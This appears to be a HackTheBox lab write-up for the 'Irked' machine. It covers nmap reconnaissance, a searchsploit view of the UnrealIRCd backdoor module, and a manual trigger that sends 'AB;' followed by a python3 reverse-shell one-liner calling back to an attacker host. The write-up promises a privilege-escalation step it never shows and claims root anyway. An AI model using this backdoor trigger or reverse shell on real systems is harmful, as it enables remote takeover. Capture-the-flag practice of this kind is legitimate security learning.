Irked
An easy linux box from HackTheBox, exploiting a CVE on an IRC server for initial access, and a misconfiguration for root
Recon
Running nmap scanning for all ports:
Nmap scan report for 10.10.10.117
Host is up (0.020s latency).
Not shown: 65528 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 48245/udp6 status
| 100024 1 50084/udp status
| 100024 1 50281/tcp6 status
|_ 100024 1 53340/tcp status
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
53340/tcp open status 1 (RPC #100024)
65534/tcp open irc UnrealIRCd (Admin email djmardov@irked.htb)
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
See there’s a HTTP server on port 80, but its just an image of a smiley :)
Can connect to IRC (chat protocol) on port 6697 with hexchat, but nothing is in there
Now just searchsploit for UnrealIRCd and find a couple of scripts
Exploitation
Ignoring the windows ones, can look at the linux command execution exploit
searchsploit -x exploits/linux/remote/16922.rb
def exploit
connect
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
handler
disconnect
end
Seems like it’s just sending AB;{command}; and it’s getting executed on the server, so connecting to the IRC port and then typing in the payload with netcat
nc 10.10.10.117 6697
AB;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
And get root!